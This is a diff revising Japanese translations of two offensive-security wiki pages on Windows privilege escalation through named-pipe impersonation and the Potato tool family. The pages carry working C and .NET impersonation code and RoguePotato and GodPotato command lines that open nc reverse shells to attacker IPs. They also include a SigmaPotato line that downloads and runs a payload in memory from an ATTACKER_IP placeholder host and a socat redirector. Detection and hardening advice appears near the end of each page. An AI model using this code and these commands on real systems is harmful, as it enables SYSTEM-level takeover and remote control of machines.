Named Pipe client impersonation は、named-pipe サーバースレッドが接続してきたクライアントのセキュリティコンテキストを引き受けることを可能にするローカル権限昇格プリミティブです。実務では、SeImpersonatePrivilege でコードを実行できる攻撃者が、特権のあるクライアント(例: SYSTEM service)を攻撃者が制御するパイプに接続させ、ImpersonateNamedPipeClient を呼び出させ、得られたトークンをプライマリトークンに Duplicate し、クライアントとしてプロセスを生成(多くの場合 NT AUTHORITY\SYSTEM)します。
|
||||
Named Pipe client impersonation は、接続するクライアントのセキュリティコンテキストを名前付きパイプのサーバースレッドが引き受けることを可能にするローカル権限昇格のプリミティブです。実際には、SeImpersonatePrivilege を持ってコードを実行できる攻撃者は、特権を持つクライアント(例: SYSTEM サービス)を攻撃者制御下のパイプに接続させ、ImpersonateNamedPipeClient を呼び出し、得られたトークンをプライマリトークンに複製してプロセスをクライアントとして生成する(多くの場合 NT AUTHORITY\SYSTEM)ことができます。
|
||||
|
||||
このページはコア技術に焦点を当てています。SYSTEM をあなたのパイプに強制的に接続させるエンドツーエンドのエクスプロイトチェーンについては、下記の Potato family ページを参照してください。
|
||||
このページではコア技術に焦点を当てます。SYSTEM をあなたのパイプに誘導するエンドツーエンドのエクスプロイトチェーンについては、下記の Potato family ページを参照してください。
|
||||
|
||||
## TL;DR
|
||||
- Create a named pipe: \\.\pipe\<random> と作成し、接続を待つ。
|
||||
- 特権コンポーネントをそれに接続させる(spooler/DCOM/EFSRPC/etc.)。
|
||||
- パイプから少なくとも1メッセージを読み取り、その後 ImpersonateNamedPipeClient を呼ぶ。
|
||||
- 現在のスレッドからインパーソネーションのトークンを開き、DuplicateTokenEx(TokenPrimary) を実行し、CreateProcessWithTokenW/CreateProcessAsUser で SYSTEM プロセスを得る。
|
||||
- Create a named pipe: \\.\pipe\<random> を作成して接続を待つ。
|
||||
- 特権を持つコンポーネントをそれに接続させる (spooler/DCOM/EFSRPC/etc.)。
|
||||
- パイプから少なくとも1メッセージを読み取り、その後 ImpersonateNamedPipeClient を呼び出す。
|
||||
- 現在のスレッドからインパーソネーショントークンを開き、DuplicateTokenEx(TokenPrimary)、CreateProcessWithTokenW/CreateProcessAsUser で SYSTEM プロセスを取得する。
|
||||
|
||||
## Requirements and key APIs
|
||||
- 呼び出しプロセス/スレッドに通常必要な権限:
|
||||
- SeImpersonatePrivilege — 接続してきたクライアントを正常にインパーソネートし、CreateProcessWithTokenW を使うために必要。
|
||||
- あるいは、SYSTEM をインパーソネートした後に CreateProcessAsUser を使うこともでき、その場合は SeAssignPrimaryTokenPrivilege と SeIncreaseQuotaPrivilege が必要になることがある(これらは SYSTEM をインパーソネートしている場合に満たされる)。
|
||||
- 使用される主な API:
|
||||
## 要件と主要な APIs
|
||||
- 呼び出し元のプロセス/スレッドが通常必要とする権限:
|
||||
- SeImpersonatePrivilege — 接続してくるクライアントを正しくインパーソネートし、CreateProcessWithTokenW を使用するために必要。
|
||||
- 代替手段として、SYSTEM をインパーソネートした後に CreateProcessAsUser を使用することもでき、その場合 SeAssignPrimaryTokenPrivilege と SeIncreaseQuotaPrivilege が必要になることがある(これらは SYSTEM をインパーソネートしている間は満たされる)。
|
||||
- 使用される主要な API:
|
||||
- CreateNamedPipe / ConnectNamedPipe
|
||||
- ReadFile/WriteFile(インパーソネーション前に少なくとも1メッセージを読む必要あり)
|
||||
- ImpersonateNamedPipeClient と RevertToSelf
|
||||
- ReadFile/WriteFile (インパーソネーションの前に少なくとも1メッセージを読み取る必要がある)
|
||||
- ImpersonateNamedPipeClient and RevertToSelf
|
||||
- OpenThreadToken, DuplicateTokenEx(TokenPrimary)
|
||||
- CreateProcessWithTokenW または CreateProcessAsUser
|
||||
- インパーソネーションレベル: ローカルで有用な操作を行うには、クライアントが SecurityImpersonation を許可している必要がある(多くのローカル RPC/named-pipe クライアントのデフォルト)。クライアントはパイプを開く際に SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION でこれを下げることができる。
|
||||
- CreateProcessWithTokenW or CreateProcessAsUser
|
||||
- インパーソネーションレベル: ローカルで有用な操作を行うには、クライアントが SecurityImpersonation を許可している必要がある(多くのローカル RPC/名前付きパイプクライアントのデフォルト)。クライアントはパイプを開く際に SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION でこれを下げることができる。
|
||||
|
||||
## Minimal Win32 workflow (C)
|
||||
```c
|
||||
@ -68,12 +68,12 @@ RevertToSelf(); // Restore original context
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
注意事項:
|
||||
- ImpersonateNamedPipeClient が ERROR_CANNOT_IMPERSONATE (1368) を返す場合、最初にパイプから読み取っていることと、クライアントがインパーソネーションを Identification level に制限していないことを確認してください。
|
||||
- プロセス作成に適したプライマリトークンを作成するには、DuplicateTokenEx を SecurityImpersonation と TokenPrimary と共に使用することを推奨します。
|
||||
注意:
|
||||
- If ImpersonateNamedPipeClient returns ERROR_CANNOT_IMPERSONATE (1368), まずパイプから読み取ることと、クライアントがインパーソネーションを Identification レベルに制限していないことを確認してください。
|
||||
- プロセス作成に適したプライマリトークンを作成するには、SecurityImpersonation と TokenPrimary を指定した DuplicateTokenEx を使用することを推奨します。
|
||||
|
||||
## .NET の簡単な例
|
||||
.NET では、NamedPipeServerStream は RunAsClient 経由でインパーソネートできます。インパーソネート中にスレッドトークンを複製し、プロセスを作成します。
|
||||
.NET では、NamedPipeServerStream は RunAsClient を使ってインパーソネートできます。インパーソネートしたら、スレッドトークンを複製してプロセスを作成します。
|
||||
```csharp
|
||||
using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics;
|
||||
class P {
|
||||
@ -93,10 +93,10 @@ Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref
|
||||
}
|
||||
}
|
||||
```
|
||||
## Common triggers/coercions to get SYSTEM to your pipe
|
||||
これらの手法は、特権を持つサービスをあなたの named pipe に接続させ、インパーソネートできるように強制します:
|
||||
- Print Spooler RPC トリガー (PrintSpoofer)
|
||||
- DCOM activation/NTLM reflection のバリアント (RoguePotato/JuicyPotato[NG], GodPotato)
|
||||
## SYSTEMをあなたのパイプに接続させる一般的なトリガー/強制手法
|
||||
これらの手法は特権サービスにあなたの named pipe に接続させ、インパーソネートできるようにします:
|
||||
- Print Spooler RPC trigger (PrintSpoofer)
|
||||
- DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato)
|
||||
- EFSRPC pipes (EfsPotato/SharpEfsPotato)
|
||||
|
||||
See detailed usage and compatibility here:
|
||||
@ -117,20 +117,20 @@ If you just need a full example of crafting the pipe and impersonating to spawn
|
||||
from-high-integrity-to-system-with-name-pipes.md
|
||||
{{#endref}}
|
||||
|
||||
## Troubleshooting and gotchas
|
||||
- ImpersonateNamedPipeClient を呼ぶ前に、少なくとも1つのメッセージをパイプから読み取る必要があります。そうしないと ERROR_CANNOT_IMPERSONATE (1368) が返ります。
|
||||
- クライアントが SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION で接続した場合、サーバーは完全にインパーソネートできません。GetTokenInformation(TokenImpersonationLevel) でトークンのインパーソネーション レベルを確認してください。
|
||||
- CreateProcessWithTokenW は呼び出し元に SeImpersonatePrivilege を要求します。これが ERROR_PRIVILEGE_NOT_HELD (1314) で失敗する場合は、既に SYSTEM をインパーソネートした後に CreateProcessAsUser を使ってください。
|
||||
- パイプのセキュリティ記述子をハードニングしている場合、対象サービスが接続できるように許可があることを確認してください。デフォルトでは \\.\pipe 以下のパイプはサーバーの DACL に従ってアクセス可能です。
|
||||
## トラブルシューティングと注意点
|
||||
- ImpersonateNamedPipeClient を呼ぶ前に、パイプから少なくとも1つのメッセージを読み取る必要があります。そうしないと ERROR_CANNOT_IMPERSONATE (1368) が返ります。
|
||||
- クライアントが SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION で接続した場合、サーバは完全にインパーソネートできません。GetTokenInformation(TokenImpersonationLevel) でトークンのインパーソネーションレベルを確認してください。
|
||||
- CreateProcessWithTokenW は呼び出し元に SeImpersonatePrivilege を要求します。ERROR_PRIVILEGE_NOT_HELD (1314) で失敗する場合は、既に SYSTEM をインパーソネートした後に CreateProcessAsUser を使用してください。
|
||||
- パイプをハードニングした場合は、パイプのセキュリティ記述子が対象サービスの接続を許可していることを確認してください。デフォルトでは \\.\pipe 以下のパイプはサーバの DACL に従ってアクセス可能です。
|
||||
|
||||
## Detection and hardening
|
||||
- named pipe の作成と接続を監視してください。Sysmon Event IDs 17 (Pipe Created) と 18 (Pipe Connected) は正当なパイプ名のベースライン化や、トークン操作イベントに先行する異常でランダムに見えるパイプの検出に有用です。
|
||||
- 次のシーケンスを探します: プロセスがパイプを作成し、SYSTEM サービスが接続し、その後作成プロセスが SYSTEM として子プロセスを生成する。
|
||||
- 非必須のサービスアカウントから SeImpersonatePrivilege を削除し、高い権限での不要なサービスログオンを避けることで曝露を減らします。
|
||||
- 防御的開発: 信頼できない named pipe に接続する場合、SECURITY_SQOS_PRESENT と SECURITY_IDENTIFICATION を指定して、必要な場合以外はサーバーがクライアントを完全にインパーソネートできないようにします。
|
||||
## 検出とハードニング
|
||||
- named pipe の作成と接続を監視します。Sysmon Event IDs 17 (Pipe Created) と 18 (Pipe Connected) は正当なパイプ名のベースライン作成や、トークン操作イベントに先行する異常でランダムに見えるパイプの検出に有用です。
|
||||
- 次のようなシーケンスを探します: プロセスがパイプを作成 → SYSTEM サービスが接続 → 作成したプロセスが SYSTEM として子プロセスを生成。
|
||||
- 非必須のサービスアカウントから SeImpersonatePrivilege を削除し、高権限での不要なサービスログオンを避けることで露出を減らします。
|
||||
- 防御的な開発: 信頼できない named pipe に接続する際は、必要でない限りサーバがクライアントを完全にインパーソネートできないよう、SECURITY_SQOS_PRESENT と SECURITY_IDENTIFICATION を指定してください。
|
||||
|
||||
## References
|
||||
- Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
|
||||
- ired.team: Windows named pipes privilege escalation (walkthrough and code examples). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
|
||||
- Windows: ImpersonateNamedPipeClient ドキュメント(インパーソネーション要件と挙動)。 https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
|
||||
- ired.team: Windows named pipes privilege escalation(手順とコード例)。 https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -22,23 +22,23 @@ from-high-integrity-to-system-with-name-pipes.md
|
||||
privilege-escalation-abusing-tokens.md
|
||||
{{#endref}}
|
||||
|
||||
## Requirements and common gotchas
|
||||
## 要件とよくある落とし穴
|
||||
|
||||
All the following techniques rely on abusing an impersonation-capable privileged service from a context holding either of these privileges:
|
||||
以下の手法はすべて、以下のいずれかの権限を持つコンテキストから、インパーソネーション(impersonation)が可能な特権サービスを悪用することに依存します:
|
||||
|
||||
- SeImpersonatePrivilege (most common) or SeAssignPrimaryTokenPrivilege
|
||||
- High integrity is not required if the token already has SeImpersonatePrivilege (typical for many service accounts such as IIS AppPool, MSSQL, etc.)
|
||||
- SeImpersonatePrivilege(最も一般的)または SeAssignPrimaryTokenPrivilege
|
||||
- トークンがすでに SeImpersonatePrivilege を持っている場合(IIS AppPool、MSSQL など多くのサービスアカウントに典型的)、High integrity は不要です。
|
||||
|
||||
Check privileges quickly:
|
||||
権限を素早く確認:
|
||||
```cmd
|
||||
whoami /priv | findstr /i impersonate
|
||||
```
|
||||
運用上の注意:
|
||||
運用メモ:
|
||||
|
||||
- PrintSpoofer は Print Spooler service が起動しており、ローカル RPC エンドポイント (spoolss) 経由で到達可能である必要があります。ハードニングされた環境で post-PrintNightmare により Spooler が無効化されている場合は、RoguePotato/GodPotato/DCOMPotato/EfsPotato を優先してください。
|
||||
- RoguePotato は TCP/135 上で到達可能な OXID resolver を必要とします。egress がブロックされている場合は、redirector/port-forwarder を使用してください(下の例を参照)。古いビルドでは -f フラグが必要でした。
|
||||
- EfsPotato/SharpEfsPotato は MS-EFSR を悪用します。あるパイプがブロックされている場合は、代替のパイプ(lsarpc、efsrpc、samr、lsass、netlogon)を試してください。
|
||||
- RpcBindingSetAuthInfo 実行中に発生するエラー 0x6d3 は、通常、未知または未サポートの RPC 認証サービスを示します。別のパイプ/トランスポートを試すか、対象のサービスが実行中であることを確認してください。
|
||||
- PrintSpoofer は Print Spooler service が稼働しており、ローカル RPC エンドポイント (spoolss) 経由で到達可能である必要があります。PrintNightmare 後に Spooler が無効化されているようなハードニングされた環境では、RoguePotato/GodPotato/DCOMPotato/EfsPotato を優先してください。
|
||||
- RoguePotato は TCP/135 上で到達可能な OXID resolver を必要とします。egress がブロックされている場合は redirector/port-forwarder を使用してください(下の例を参照)。古いビルドでは -f フラグが必要でした。
|
||||
- EfsPotato/SharpEfsPotato は MS-EFSR を悪用します。あるパイプがブロックされている場合は、代替のパイプ (lsarpc, efsrpc, samr, lsass, netlogon) を試してください。
|
||||
- RpcBindingSetAuthInfo 実行中に発生する Error 0x6d3 は、通常、未知またはサポートされていない RPC 認証サービスを示します。別のパイプ/トランスポートを試すか、対象サービスが実行中であることを確認してください。
|
||||
|
||||
## クイックデモ
|
||||
|
||||
@ -58,7 +58,7 @@ NULL
|
||||
|
||||
```
|
||||
注意:
|
||||
- 現在のコンソールでインタラクティブなプロセスを生成するには -i を、ワンライナーを実行するには -c を使用できます。
|
||||
- 現在のコンソールでインタラクティブなプロセスを起動するには -i を、ワンライナーを実行するには -c を使用できます。
|
||||
- Spooler service が必要です。無効になっていると失敗します。
|
||||
|
||||
### RoguePotato
|
||||
@ -67,7 +67,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
|
||||
# In some old versions you need to use the "-f" param
|
||||
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
|
||||
```
|
||||
アウトバウンドのポート135がブロックされている場合は、redirector上でsocatを使ってOXID resolverをピボットしてください:
|
||||
アウトバウンド135がブロックされている場合は、リダイレクタ上でsocat経由でOXID resolverをpivotしてください:
|
||||
```bash
|
||||
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
|
||||
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
|
||||
@ -111,7 +111,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
|
||||
|
||||
nt authority\system
|
||||
```
|
||||
ヒント: あるパイプが失敗するか EDR によってブロックされた場合は、他のサポートされているパイプを試してください:
|
||||
ヒント: ある pipe が失敗するか EDR によってブロックされた場合は、他のサポートされている pipes を試してください:
|
||||
```text
|
||||
EfsPotato <cmd> [pipe]
|
||||
pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
|
||||
@ -122,14 +122,14 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
|
||||
# You can achieve a reverse shell like this.
|
||||
> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
|
||||
```
|
||||
注記:
|
||||
Notes:
|
||||
- SeImpersonatePrivilege が存在する場合、Windows 8/8.1–11 および Server 2012–2022 で動作します。
|
||||
|
||||
### DCOMPotato
|
||||
|
||||

|
||||
|
||||
DCOMPotato は、RPC_C_IMP_LEVEL_IMPERSONATE をデフォルトとするサービスの DCOM オブジェクトをターゲットにした 2 つのバリアントを提供します。提供されたバイナリをビルドするか使用し、コマンドを実行してください:
|
||||
DCOMPotato は、デフォルトで RPC_C_IMP_LEVEL_IMPERSONATE を使用するサービスの DCOM オブジェクトを標的とする 2 種類のバリアントを提供します。提供された binaries をビルドするか使用して、コマンドを実行してください:
|
||||
```cmd
|
||||
# PrinterNotify variant
|
||||
PrinterNotifyPotato.exe "cmd /c whoami"
|
||||
@ -137,9 +137,9 @@ PrinterNotifyPotato.exe "cmd /c whoami"
|
||||
# McpManagementService variant (Server 2022 also)
|
||||
McpManagementPotato.exe "cmd /c whoami"
|
||||
```
|
||||
### SigmaPotato (更新された GodPotato のフォーク)
|
||||
### SigmaPotato (更新された GodPotato フォーク)
|
||||
|
||||
SigmaPotato は .NET reflection を使ったインメモリ実行や PowerShell reverse shell helper のようなモダンな便利機能を追加します。
|
||||
SigmaPotato は .NET reflection を介した in-memory execution や PowerShell reverse shell helper といったモダンな便利機能を追加します。
|
||||
```powershell
|
||||
# Load and execute from memory (no disk touch)
|
||||
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
|
||||
@ -150,13 +150,13 @@ SigmaPotato は .NET reflection を使ったインメモリ実行や PowerShell
|
||||
```
|
||||
## 検出とハードニングの注意点
|
||||
|
||||
- プロセスが名前付きパイプを作成し、直後にトークン複製用APIを呼び出してから CreateProcessAsUser/CreateProcessWithTokenW を実行する動きを監視する。Sysmon は有用なテレメトリを示せる: Event ID 1 (process creation)、17/18 (named pipe created/connected)、および SYSTEM として子プロセスを生成するコマンドライン。
|
||||
- Spooler のハードニング: 不要なサーバーで Print Spooler サービスを無効化すると、spoolss 経由の PrintSpoofer 型のローカル悪用を防止できる。
|
||||
- サービスアカウントのハードニング: カスタムサービスに SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege を割り当てるのは最小限にする。可能であれば必要最小権限の仮想アカウントでサービスを実行し、service SID や書き込み制限されたトークンで隔離することを検討する。
|
||||
- ネットワーク制御: アウトバウンド TCP/135 をブロックするか RPC endpoint mapper トラフィックを制限することで、内部リダイレクタが利用できない限り RoguePotato を阻止できる。
|
||||
- EDR/AV: これらのツールは広くシグネチャ化されている。ソースから再コンパイルしたりシンボル/文字列をリネームしたりインメモリ実行を使うことで検出を減らせるが、堅牢な振る舞い検出を完全に回避することはできない。
|
||||
- Monitor for processes creating named pipes and immediately calling token-duplication APIs followed by CreateProcessAsUser/CreateProcessWithTokenW. Sysmon can surface useful telemetry: Event ID 1 (process creation), 17/18 (named pipe created/connected), and command lines spawning child processes as SYSTEM.
|
||||
- Spooler hardening: Disabling the Print Spooler service on servers where it isn’t needed prevents PrintSpoofer-style local coercions via spoolss.
|
||||
- Service account hardening: カスタムサービスへの SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege の割当は最小限にする。可能であれば、必要最小権限の仮想アカウントでサービスを実行し、service SID や書き込み制限付きトークンで分離することを検討する。
|
||||
- Network controls: outbound TCP/135 をブロックするか RPC endpoint mapper トラフィックを制限すると、内部リダイレクタがない限り RoguePotato を破綻させる可能性がある。
|
||||
- EDR/AV: これらのツールは広くシグネチャ化されている。recompiling from source、シンボル/文字列のリネーム、または in-memory execution を用いることで検出を低減できるが、堅牢な振る舞いベースの検出を回避することはできない。
|
||||
|
||||
## 参考
|
||||
## References
|
||||
|
||||
- [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)
|
||||
- [https://github.com/itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer)
|
||||
|
Loading…
x
Reference in New Issue
Block a user